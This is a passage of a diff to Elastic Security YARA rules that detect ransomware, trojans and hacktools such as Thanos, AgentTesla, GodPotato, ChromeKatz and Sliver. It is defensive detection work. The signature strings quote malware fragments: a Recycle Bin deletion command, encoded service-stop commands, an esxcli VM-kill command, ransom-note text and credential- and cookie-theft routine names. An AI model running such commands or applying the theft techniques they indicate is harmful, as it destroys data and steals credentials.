-		$b1 = { 00 57 00 78 00 73 00 49 00 48 00 6C 00 76 00 64 00 58 00 49 00 67 00 5A 00 6D 00 6C 00 73 00 5A 00 58 00 4D 00 67 00 64 00 32 00 56 00 79 00 5A 00 53 00 42 00 6C 00 62 00 6D 00 4E 00 79 00 65 00 58 00 42 00 30 00 5A 00 57 00 51 00 73 00 49 00 47 00 6C 00 6D 00 49 00 48 00 6C 00 76 00 64 00 53 00 42 00 33 00 59 00 57 00 35 00 30 00 49 00 48 00 52 00 76 00 49 00 47 00 64 00 6C 00 64 00 43 00 42 00 30 00 61 00 47 00 56 00 74 00 49 00 47 00 46 00 73 00 62 00 43 00 42 00 69 00 59 00 57 00 4E 00 72 00 4C 00 43 00 42 00 77 00 62 00 47 00 56 00 68 00 63 00 32 00 55 00 67 00 59 00 32 00 46 00 79 00 5A 00 57 00 5A 00 31 00 62 00 47 00 78 00 35 00 49 00 48 00 4A 00 6C 00 59 00 57 00 51 00 67 00 64 00 47 00 68 00 6C 00 49 00 48 00 52 00 6C 00 65 00 48 00 51 00 67 00 62 00 6D 00 39 00 30 00 5A 00 53 00 42 00 73 00 62 00 32 00 4E 00 68 00 64 00 47 00 56 00 6B 00 49 00 47 00 6C 00 75 00 49 00 48 00 6C 00 76 00 64 00 58 00 49 00 67 00 5A 00 47 00 56 00 7A 00 61 00 33 00 52 00 76 00 63 00 43 00 34 00 75 00 4C 00 67 00 3D 00 3D }
-		$b2 = { 01 0E 0E 05 00 02 0E 0E 0E 04 00 01 01 0E 04 00 01 0E 0E 06 00 03 01 0E 0E 0E 80 90 55 00 30 00 39 00 47 00 56 00 46 00 64 00 42 00 55 00 6B 00 56 00 63 00 54 00 57 00 6C 00 6A 00 63 00 6D 00 39 00 7A 00 62 00 32 00 5A 00 30 00 58 00 46 00 64 00 70 00 62 00 6D 00 52 00 76 00 64 00 33 00 4D 00 67 00 54 00 6C 00 52 00 63 00 51 00 33 00 56 00 79 00 63 00 6D 00 56 00 75 00 64 00 46 00 5A 00 6C 00 63 00 6E 00 4E 00 70 00 62 00 32 00 35 00 63 00 56 00 32 00 6C 00 }
+		$api = "ImpersonateNamedPipeClient"
+		$s1 = "\\\\.\\pipe\\%ws\\pipe\\" wide nocase
+		$s2 = "\\\\.\\pipe\\%s\\pipe\\" wide nocase
+		$s3 = { 5C 00 5C 00 2E 00 5C 00 70 00 69 00 70 00 65 00 5C 00 00 19 5C 00 70 00 69 00 70 00 65 00 5C }
 
 	condition:
-		1 of ($b*)
+		$api and any of ($s*)
 }
-rule ELASTIC_Windows_Ransomware_Thanos_E19Feca1 : BETA FILE MEMORY
+rule ELASTIC_Linux_Trojan_Cerbu_69D5657E : FILE MEMORY
 {
 	meta:
-		description = "Identifies THANOS (Hakbit) ransomware"
+		description = "Detects Linux Trojan Cerbu (Linux.Trojan.Cerbu)"
 		author = "Elastic Security"
-		id = "e19feca1-b131-4045-be0c-d69d55f9a83e"
-		date = "2020-11-03"
-		modified = "2021-08-23"
-		reference = "https://labs.sentinelone.com/thanos-ransomware-riplace-bootlocker-and-more-added-to-feature-set/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Thanos.yar#L46-L77"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "1f5a69b6749e887a5576843abb83388d5364e47601cf11fcac594008ace8e973"
+		id = "69d5657e-1fe9-4367-b478-218c278c7fbc"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Cerbu.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "f10bf3cf2fdfbd365d3c2d8dedb2d01b85236eaa97d15370dbcb5166149d70e9"
+		logic_hash = "644e8d5a1b5c8618e71497f21b0244215924e293e274b9164692dd927cd74ba8"
 		score = 75
 		quality = 75
-		tags = "BETA, FILE, MEMORY"
-		fingerprint = "d6654d0b3155d9c64fd4e599ba34d51f110d9dfda6fa1520b686602d9f608f92"
-		threat_name = "Windows.Ransomware.Thanos"
+		tags = "FILE, MEMORY"
+		fingerprint = "7dfaebc6934c8fa97509831e0011f2befd0dbc24a68e4a07bc1ee0decae45a42"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "<GetIPInfo>b__"
-		$a2 = "<Killproc>b__"
-		$a3 = "<Crypt>b__"
-		$a4 = "<Encrypt2>b__"
-		$b1 = "Your files are encrypted."
-		$b2 = "I will treat you good if you treat me good too."
-		$b3 = "I don't want to loose your files too"
-		$b4 = "/c rd /s /q %SYSTEMDRIVE%\\$Recycle.bin" wide fullword
-		$b5 = "\\HOW_TO_DECYPHER_FILES.txt" wide fullword
-		$b6 = "c3RvcCBTUUxURUxFTUVUUlkkRUNXREIyIC95" wide fullword
-		$b7 = "c3RvcCBNQkFNU2VydmljZSAveQ==" wide fullword
-		$b8 = "L0MgY2hvaWNlIC9DIFkgL04gL0QgWSAvVCAzICYgRGVsIA==" wide fullword
-		$b9 = "c3RvcCBjY0V2dE1nciAveQ==" wide fullword
+		$a = { E8 5B 5E C9 C3 55 89 E5 83 EC 08 83 C4 FC FF 75 0C 6A 05 FF }
 
 	condition:
-		(4 of ($a*)) or (3 of ($b*))
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Protects_9F6Eaa90 : FILE
+rule ELASTIC_Windows_Ransomware_Grief_9953339A : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Protects (Windows.Trojan.ProtectS)"
+		description = "Detects Windows Ransomware Grief (Windows.Ransomware.Grief)"
 		author = "Elastic Security"
-		id = "9f6eaa90-b3d4-4f0f-a81e-8010be0a6d36"
-		date = "2022-04-04"
-		modified = "2022-06-09"
+		id = "9953339a-2c67-4ebd-be51-d1055e341abc"
+		date = "2021-08-04"
+		modified = "2021-10-04"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_ProtectS.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "c0330e072b7003f55a3153ac3e0859369b9c3e22779b113284e95ce1e2ce2099"
-		logic_hash = "ddc8c97598b2d961dc51bdf2c7ab96abcec63824acd39b767bc175371844c1e5"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Grief.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "0864575d4f487e52a1479c61c2c4ad16742d92e16d0c10f5ed2b40506bbc6ca0"
+		logic_hash = "f99ea1e1f59dc2999659cbe649e76001dd7139b1438440717b60f081d1e99d70"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		fingerprint = "46bf59901876794dcc338923076939d765d3ce7f14d784b9687fbc05461ed6b4"
-		severity = 50
+		tags = "FILE, MEMORY"
+		fingerprint = "d7d70c3681c4d4103d9ff52c3bdd174ccbdb49343c34407e90abb5a83a8422f4"
+		severity = 100
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$str1 = "\\ProtectS.pdb"
+		$a1 = { 65 64 73 63 6F 72 70 69 6F 71 65 6E 61 62 6C 65 54 72 61 6E 73 6C 61 74 65 2E 41 64 65 65 6D 65 64 59 00 5A 41 70 70 6C 69 63 61 74 69 6F 6E 65 69 74 68 65 72 33 34 2E 30 28 39 39 25 6D 65 6D 6F 72 79 2C 77 69 74 68 6F 75 74 00 66 6F 72 47 6F 6F 67 6C 65 6C 74 68 65 6D 6F 72 65 6D 77 61 73 00 39 32 41 6E 69 6E 65 74 68 65 75 48 73 74 61 62 6C 65 73 6F 66 66 69 63 69 61 6C 00 43 4B 76 65 72 73 69 6F 6E 46 71 74 68 65 63 6F 6D 70 61 6E 79 2C 74 6F 6E 2E 35 30 37 00 6E 69 6E 2D 70 61 67 65 44 73 63 61 6E 6E 69 6E 67 61 63 63 65 73 73 48 69 63 6F 6E 72 65 6D }
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and $str1
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Agenttesla_D3Ac2B2F : FILE MEMORY
+rule ELASTIC_Macos_Backdoor_Fakeflashlxk_06Fd8071 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Agenttesla (Windows.Trojan.AgentTesla)"
+		description = "Detects Macos Backdoor Fakeflashlxk (MacOS.Backdoor.Fakeflashlxk)"
 		author = "Elastic Security"
-		id = "d3ac2b2f-14fc-4851-8a57-41032e386aeb"
-		date = "2021-03-22"
-		modified = "2022-06-20"
-		reference = "https://www.elastic.co/security-labs/attack-chain-leads-to-xworm-and-agenttesla"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_AgentTesla.yar#L1-L58"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "65463161760af7ab85f5c475a0f7b1581234a1e714a2c5a555783bdd203f85f4"
-		logic_hash = "9c13a99107593d476de1522ced10aa43d34535b844e8c3ae871b22358137c926"
+		id = "06fd8071-0370-4ae8-819a-846fa0a79b3d"
+		date = "2021-11-11"
+		modified = "2022-07-22"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/MacOS_Backdoor_Fakeflashlxk.yar#L1-L21"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "107f844f19e638866d8249e6f735daf650168a48a322d39e39d5e36cfc1c8659"
+		logic_hash = "853d44465a472786bb48bbe1009e0ff925f79e4fd72f0eac537dd271c1ec3703"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "cbbb56fe6cd7277ae9595a10e05e2ce535a4e6bf205810be0bbce3a883b6f8bc"
+		fingerprint = "a0e6763428616b46536c6a4eb080bae0cc58ef27678616aa432eb43a3d9c77a1"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "macos"
 
 	strings:
-		$a1 = "GetMozillaFromLogins" ascii fullword
-		$a2 = "AccountConfiguration+username" wide fullword
-		$a3 = "MailAccountConfiguration" ascii fullword
-		$a4 = "KillTorProcess" ascii fullword
-		$a5 = "SmtpAccountConfiguration" ascii fullword
-		$a6 = "GetMozillaFromSQLite" ascii fullword
-		$a7 = "Proxy-Agent: HToS5x" wide fullword
-		$a8 = "set_BindingAccountConfiguration" ascii fullword
-		$a9 = "doUsernamePasswordAuth" ascii fullword
-		$a10 = "SafariDecryptor" ascii fullword
-		$a11 = "get_securityProfile" ascii fullword
-		$a12 = "get_useSeparateFolderTree" ascii fullword
-		$a13 = "get_DnsResolver" ascii fullword
-		$a14 = "get_archivingScope" ascii fullword
-		$a15 = "get_providerName" ascii fullword
-		$a16 = "get_ClipboardHook" ascii fullword
-		$a17 = "get_priority" ascii fullword
-		$a18 = "get_advancedParameters" ascii fullword
-		$a19 = "get_disabledByRestriction" ascii fullword
-		$a20 = "get_LastAccessed" ascii fullword
-		$a21 = "get_avatarType" ascii fullword
-		$a22 = "get_signaturePresets" ascii fullword
-		$a23 = "get_enableLog" ascii fullword
-		$a24 = "TelegramLog" ascii fullword
-		$a25 = "generateKeyV75" ascii fullword
-		$a26 = "set_accountName" ascii fullword
-		$a27 = "set_InternalServerPort" ascii fullword
-		$a28 = "set_bindingConfigurationUID" ascii fullword
-		$a29 = "set_IdnAddress" ascii fullword
-		$a30 = "set_GuidMasterKey" ascii fullword
-		$a31 = "set_username" ascii fullword
-		$a32 = "set_version" ascii fullword
-		$a33 = "get_Clipboard" ascii fullword
-		$a34 = "get_Keyboard" ascii fullword
-		$a35 = "get_ShiftKeyDown" ascii fullword
-		$a36 = "get_AltKeyDown" ascii fullword
-		$a37 = "get_Password" ascii fullword
-		$a38 = "get_PasswordHash" ascii fullword
-		$a39 = "get_DefaultCredentials" ascii fullword
+		$s1 = "/Users/lxk/Library/Developer/Xcode/DerivedData"
+		$s2 = "Desktop/SafariFlashActivity/SafariFlashActivity/SafariFlashActivity/"
+		$s3 = "/Debug/SafariFlashActivity.build/Objects-normal/x86_64/AppDelegate.o"
 
 	condition:
-		8 of ($a*)
+		2 of them
 }
-rule ELASTIC_Windows_Trojan_Agenttesla_E577E17E : FILE MEMORY
+rule ELASTIC_Windows_Hacktool_Godpotato_5F1Aad81 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Agenttesla (Windows.Trojan.AgentTesla)"
+		description = "Detects Windows Hacktool Godpotato (Windows.Hacktool.GodPotato)"
 		author = "Elastic Security"
-		id = "e577e17e-5c42-4431-8c2d-0c1153128226"
-		date = "2022-03-11"
-		modified = "2022-04-12"
-		reference = "https://www.elastic.co/security-labs/attack-chain-leads-to-xworm-and-agenttesla"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_AgentTesla.yar#L60-L79"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "ed43ddb536e6c3f8513213cd6eb2e890b73e26d5543c0ba1deb2690b5c0385b6"
-		logic_hash = "84c5f1096735cee0f0f4ad41a81286c0a60dc17c276f23568b855271d996c8a2"
+		id = "5f1aad81-88d8-4561-a6f9-d7521b9ffdf5"
+		date = "2024-06-24"
+		modified = "2024-07-02"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Hacktool_GodPotato.yar#L1-L28"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "00171bb6e9e4a9b8601e988a8c4ac6f5413e31e1b6d86d24b0b53520cd02184c"
+		logic_hash = "3028c84a616d47b37b4ef2d41d35ccef5121c06aa042096bca8ea53b528a1eb9"
 		score = 75
-		quality = 75
+		quality = 25
 		tags = "FILE, MEMORY"
-		fingerprint = "009cb27295a1aa0dde84d29ee49b8fa2e7a6cec75eccb7534fec3f5c89395a9d"
+		fingerprint = "3645a259f9b5d07bd5ad2ec823fd704eccd0412dd75c47bc82124db9a907da2a"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -77254,28 +81354,37 @@ rule ELASTIC_Windows_Trojan_Agenttesla_E577E17E : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a = { 20 4D 27 00 00 33 DB 19 0B 00 07 17 FE 01 2C 02 18 0B 00 07 }
+		$a1 = "GodPotato" wide fullword
+		$a2 = "GodPotatoContext was not initialized" wide fullword
+		$a3 = "GodPotatoStorageTrigger" ascii fullword
+		$a4 = "[*] DCOM obj GUID: {0}" wide fullword
+		$a5 = "[*] DispatchTable: 0x{0:x}" wide fullword
+		$a6 = "[*] UseProtseqFunction: 0x{0:x}" wide fullword
+		$a7 = "[*] process start with pid {0}" wide fullword
+		$a8 = "[!] ImpersonateNamedPipeClient fail error:{0}" wide fullword
+		$a9 = "[*] CoGetInstanceFromIStorage: 0x{0:x}" wide fullword
+		$a10 = "[*] Trigger RPCS" wide
 
 	condition:
-		all of them
+		5 of them
 }
-rule ELASTIC_Windows_Trojan_Agenttesla_F2A90D14 : FILE MEMORY
+rule ELASTIC_Windows_Hacktool_Chromekatz_Fa232Bba : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Agenttesla (Windows.Trojan.AgentTesla)"
+		description = "Detects Windows Hacktool Chromekatz (Windows.Hacktool.ChromeKatz)"
 		author = "Elastic Security"
-		id = "f2a90d14-7212-41a5-a2cd-a6a6dedce96e"
-		date = "2022-03-11"
-		modified = "2022-04-12"
-		reference = "https://www.elastic.co/security-labs/attack-chain-leads-to-xworm-and-agenttesla"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_AgentTesla.yar#L81-L100"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "ed43ddb536e6c3f8513213cd6eb2e890b73e26d5543c0ba1deb2690b5c0385b6"
-		logic_hash = "3f39b773f2b1524b05d3c1d9aa1fb54594ec9003d2e9da342b6d17ba885f5a03"
+		id = "fa232bba-07dd-45e0-9ca3-b1465eb9616d"
+		date = "2024-03-27"
+		modified = "2024-05-08"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Hacktool_ChromeKatz.yar#L1-L28"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "3f6922049422df14f1a1777001fea54b18fbfb0a4b03c4ee27786bfbc3b8ab87"
+		logic_hash = "c86291fadd51845cbd7428b159e401d78ac77090e14e34d06bf7bf2018f4502a"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "829c827069846ba1e1378aba8ee6cdc801631d769dc3dce15ccaacd4068a88a6"
+		fingerprint = "bf1da659e0de9c4e22851e77878066ae5f4aca75e61b35392887c12e125c91f8"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -77283,123 +81392,153 @@ rule ELASTIC_Windows_Trojan_Agenttesla_F2A90D14 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a = { 0B FE 01 2C 0B 07 16 7E 08 00 00 04 A2 1F 0C 0C 00 08 1F 09 FE 01 }
+		$s1 = "CookieKatz.exe"
+		$s2 = "Targeting Chrome"
+		$s3 = "Targeting Msedgewebview2"
+		$s4 = "Failed to find the first pattern"
+		$s5 = "WalkCookieMap"
+		$s6 = "Found CookieMonster on 0x%p"
+		$s7 = "Cookie Key:"
+		$s8 = "Failed to read cookie value" wide
+		$s9 = "Failed to read cookie struct" wide
+		$s10 = "Error reading left node"
 
 	condition:
-		all of them
+		5 of them
 }
-rule ELASTIC_Windows_Trojan_Agenttesla_A2D69E48 : FILE MEMORY
+rule ELASTIC_Multi_Trojan_Sliver_42298C4A : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Agenttesla (Windows.Trojan.AgentTesla)"
+		description = "Detects Multi Trojan Sliver (Multi.Trojan.Sliver)"
 		author = "Elastic Security"
-		id = "a2d69e48-b114-4128-8c2f-6fabee49e152"
-		date = "2023-05-01"
-		modified = "2023-06-13"
-		reference = "https://www.elastic.co/security-labs/attack-chain-leads-to-xworm-and-agenttesla"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_AgentTesla.yar#L102-L122"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "edef51e59d10993155104d90fcd80175daa5ade63fec260e3272f17b237a6f44"
-		logic_hash = "1f90be86b7afa7f518a3dcec55028bfc915cf6d4fed1350a56e351946cc55f41"
+		id = "42298c4a-fcea-4c5a-b213-32db00e4eb5a"
+		date = "2021-10-20"
+		modified = "2022-01-14"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Multi_Trojan_Sliver.yar#L1-L25"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "3b45aae401ac64c055982b5f3782a3c4c892bdb9f9a5531657d50c27497c8007"
+		logic_hash = "a84bdb51fcdeb4629365bdb727b53087604ee0eb112c8d6c3ecf315598ec678a"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "bd46dd911aadf8691516a77f3f4f040e6790f36647b5293050ecb8c25da31729"
+		fingerprint = "0734b090ea10abedef4d9ed48d45c834dd5cf8e424886a5be98e484f69c5e12a"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "multi"
 
 	strings:
-		$a1 = { 00 03 08 08 10 08 10 18 09 00 04 08 18 08 10 08 10 18 0E 00 08 }
-		$a2 = { 00 06 17 5F 16 FE 01 16 FE 01 2A 00 03 30 03 00 B1 00 00 00 }
+		$a1 = ").RequestResend"
+		$a2 = ").GetPrivInfo"
+		$a3 = ").GetReconnectIntervalSeconds"
+		$a4 = ").GetPivotID"
+		$a5 = "name=PrivInfo"
+		$a6 = "name=ReconnectIntervalSeconds"
+		$a7 = "name=PivotID"
 
 	condition:
-		all of them
+		2 of them
 }
-rule ELASTIC_Windows_Trojan_Agenttesla_Ebf431A8 : FILE MEMORY
+rule ELASTIC_Multi_Trojan_Sliver_3Bde542D : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Agenttesla (Windows.Trojan.AgentTesla)"
+		description = "Detects Multi Trojan Sliver (Multi.Trojan.Sliver)"
 		author = "Elastic Security"
-		id = "ebf431a8-45e8-416c-a355-4ac1db2d133a"
-		date = "2023-12-01"
-		modified = "2024-01-12"
-		reference = "https://www.elastic.co/security-labs/attack-chain-leads-to-xworm-and-agenttesla"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_AgentTesla.yar#L124-L148"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "0cb3051a80a0515ce715b71fdf64abebfb8c71b9814903cb9abcf16c0403f62b"
-		logic_hash = "b02d6e2d68b336aaa37336e0c0c3ffa6c7a126bfcdb6cb6ad5a3432004c6030c"
+		id = "3bde542d-df52-4f05-84ff-de67e90592a9"
+		date = "2022-08-31"
+		modified = "2022-09-29"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Multi_Trojan_Sliver.yar#L27-L50"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "05461e1c2a2e581a7c30e14d04bd3d09670e281f9f7c60f4169e9614d22ce1b3"
+		logic_hash = "23a0e28c1423f577a147efdf927f2dc71871760e38d4d7494ead2920b90ef05e"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "2d95dbe502421d862eee33ba819b41cb39cf77a44289f4de4a506cad22f3fddb"
+		fingerprint = "e52e39644274e3077769da4d04488963c85a0b691dc9973ad12d51eb34ba388b"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "multi"
 
 	strings:
-		$a1 = "MozillaBrowserList"
-		$a2 = "EnableScreenLogger"
-		$a3 = "VaultGetItem_WIN7"
-		$a4 = "PublicIpAddressGrab"
-		$a5 = "EnableTorPanel"
-		$a6 = "get_GuidMasterKey"
+		$a1 = "B/Z-github.com/bishopfox/sliver/protobuf/sliverpbb" ascii fullword
+		$b1 = "InvokeSpawnDllReq" ascii fullword
+		$b2 = "NetstatReq" ascii fullword
+		$b3 = "HTTPSessionInit" ascii fullword
+		$b4 = "ScreenshotReq" ascii fullword
+		$b5 = "RegistryReadReq" ascii fullword
 
 	condition:
-		4 of them
+		1 of ($a*) or all of ($b*)
 }
-rule ELASTIC_Linux_Ransomware_Hellokitty_35731270 : FILE MEMORY
+rule ELASTIC_Multi_Trojan_Sliver_3D6B7Cd3 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Ransomware Hellokitty (Linux.Ransomware.Hellokitty)"
+		description = "Detects Multi Trojan Sliver (Multi.Trojan.Sliver)"
 		author = "Elastic Security"
-		id = "35731270-b283-4dff-8316-6a541ff1d4d5"
-		date = "2023-07-27"
-		modified = "2024-02-13"
+		id = "3d6b7cd3-f702-470c-819c-8750ec040083"
+		date = "2022-12-01"
+		modified = "2023-09-20"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Ransomware_Hellokitty.yar#L1-L21"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "556e5cb5e4e77678110961c8d9260a726a363e00bf8d278e5302cb4bfccc3eed"
-		logic_hash = "40cb632d6b8561de56f2010a082a24b0c50d4cabed21e073168b5302ddff7044"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Multi_Trojan_Sliver.yar#L52-L88"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "9846124cfd124eed466465d187eeacb4d405c558dd84ba8e575d8a7b3290403e"
+		logic_hash = "3cbd3358b7d59d6a2912069f4cb8de005b6fafd61e44111d1f6cf0418eb2d1fc"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "1945bfcbe084f8f6671c73e74679fb2933d2ebea54479fdf348d4804a614279a"
+		fingerprint = "46d5388bd1fe767a4852c9e35420985d5011368dac6545fd57fbb256de9a94e9"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "multi"
 
 	strings:
-		$a1 = "File Locked:%s PID:%d" fullword
-		$a2 = "error encrypt: %s rename back:%s" fullword
-		$a3 = "esxcli vm process kill -t=soft -w=%d" fullword
+		$session_start_x86_1 = { 89 4C 24 ?? 89 44 24 ?? 8D 4C 24 ?? 89 4C 24 ?? C6 44 24 ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? }
+		$session_start_x86_2 = { FF 05 ?? ?? ?? ?? 8D 05 ?? ?? ?? ?? 89 04 24 C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 85 C9 74 ?? B8 ?? ?? ?? ?? }
+		$session_start_x86_3 = { E8 ?? ?? ?? ?? 8B 44 24 ?? 85 C0 74 ?? FF 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 04 24 39 05 ?? ?? ?? ?? 7E ?? C6 44 24 ?? ?? 8B 54 24 ?? 8B 02 FF D0 83 C4 ?? }
+		$session_start_x64_1 = { 44 0F 11 7C 24 ?? 48 8D 0D ?? ?? ?? ?? 48 89 4C 24 ?? 48 89 44 24 ?? 48 8D 4C 24 ?? 48 89 4C 24 ?? C6 44 24 ?? ?? 0F 1F 00 E8 ?? ?? ?? ?? 48 89 44 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? EB ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? }
+		$session_start_x64_2 = { E8 ?? ?? ?? ?? 48 85 C0 74 ?? 48 FF 05 ?? ?? ?? ?? 48 8D 05 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 85 DB B9 ?? ?? ?? ?? 48 0F 45 C1 48 39 05 ?? ?? ?? ?? 7E ?? C6 44 24 ?? ?? 48 8B 54 24 ?? 48 8B 02 FF D0 }
+		$session_start_x64_3 = { 48 89 6C 24 ?? 48 8D 6C 24 ?? 49 C7 C5 ?? ?? ?? ?? 4C 89 6C 24 ?? C6 44 24 ?? ?? 48 8D 05 ?? ?? ?? ?? 31 DB E8 ?? ?? ?? ?? 44 0F 11 7C 24 ?? 48 8D 0D ?? ?? ?? ?? 48 89 4C 24 ?? 48 89 44 24 ?? 48 8D 4C 24 ?? 48 89 4C 24 ?? C6 44 24 ?? ?? 0F 1F 00 }
+		$register_x64_1 = { 48 81 EC ?? ?? ?? ?? 48 89 AC 24 ?? ?? ?? ?? 48 8D AC 24 ?? ?? ?? ?? 90 E8 ?? ?? ?? ?? 48 89 44 24 ?? 48 89 5C 24 ?? 48 89 4C 24 ?? 0F 1F 44 00 ?? E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 85 C9 48 8B 4C 24 ?? BA ?? ?? ?? ?? 48 0F 45 CA 48 89 4C 24 ?? 48 8B 54 24 ?? BE ?? ?? ?? ?? 48 0F 45 D6 48 89 54 24 ?? }
